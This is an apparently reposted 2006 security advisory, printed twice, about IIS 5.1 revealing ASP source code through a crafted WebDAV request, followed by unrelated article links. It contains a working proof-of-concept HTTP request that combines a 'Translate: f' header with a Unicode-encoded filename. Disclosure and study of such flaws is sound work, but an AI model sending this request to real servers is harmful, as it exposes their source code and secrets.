IIS 5.1 allows for remote viewing of source code..
2006-04-03 12:02
525 查看
Submitted by zwell on Sun, 2006-04-02 17:52. Exploits
Origin: http://www.fr33d0m.net/content-2947.html
It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.
Confirmed vulnerable
-Mcft® Internet Information Server® V5.1:
a. Mcft® windows® XP Pro. with SP2(English)
b. Mcft® windows® XP Pro. with SP2(Norwegian)
c. Mcft® windows® XP Pro. with SP1(Swedish)
Confimed not vulnerable
-Mcft® Internet Information Server® V5.0:
a. Mcft® windows® 2000 Server with SP4(English)
-Mcft® Internet Information Server® V6.0:
a. Mcft® windows® 2003 Standard(English)
Vendor status
Notified
Solution
Don't use FAT or FAT32 with IIS 5.1
Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.
Proof of Concept:
I have used the server "www.server.net" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World"%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.server.net/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.server.net 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.server.net
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World"%>" beeing returned
Thanks,
Origin: http://www.fr33d0m.net/content-2947.html
It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.
Confirmed vulnerable
-Mcft® Internet Information Server® V5.1:
a. Mcft® windows® XP Pro. with SP2(English)
b. Mcft® windows® XP Pro. with SP2(Norwegian)
c. Mcft® windows® XP Pro. with SP1(Swedish)
Confimed not vulnerable
-Mcft® Internet Information Server® V5.0:
a. Mcft® windows® 2000 Server with SP4(English)
-Mcft® Internet Information Server® V6.0:
a. Mcft® windows® 2003 Standard(English)
Vendor status
Notified
Solution
Don't use FAT or FAT32 with IIS 5.1
Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.
Proof of Concept:
I have used the server "www.server.net" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World"%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.server.net/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.server.net 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.server.net
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World"%>" beeing returned
Thanks,
相关文章推荐
- warning: no rule to process file '.h' of type sourcecode.c.h for architecture i386
- warning: no rule to process file 'h' of type sourcecode.c.h for architecture i386
- no rule to process file 'xxx/.../jquery.js' of type sourcecode.javascript for architecture i386
- nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
- A Performance Evaluation and Examination of Open-Source Erasure Coding Libraries For Storage
- Source Code for List Class Definition
- Releasing the Source Code for the .NET Framework Libraries!
- How to Get Source Code of a Linux Command on CentOS
- Cannot find utCompiledCode record for this version of the uninstaller
- Windows 95 VxD C Source Code for VANYDEVD
- there is no source code available for the current location 解决方案
- DSS Source Code Analyse (16) - Data Flow of classical VOD
- Where can i download Android & iOS source code of TI BLE Multitool
- 'Source code for your Pod was not accessible to CocoaPods Trunk. Is it a private repo or behind a us
- (OK) how to compile the source code for Android-x86 (Android 7.1.1)
- Discuz! X2.5 /source/class/helper/helper_seo.php Remote Code Execution Vul
- XML Source Code For SAP ABAP
- how to download the source tree for a specific Android code-line
- Some questions about source code of linux - 2014.01.20
- Generate Ctags Files for C/C++ Source Files and All of Their Included Header Files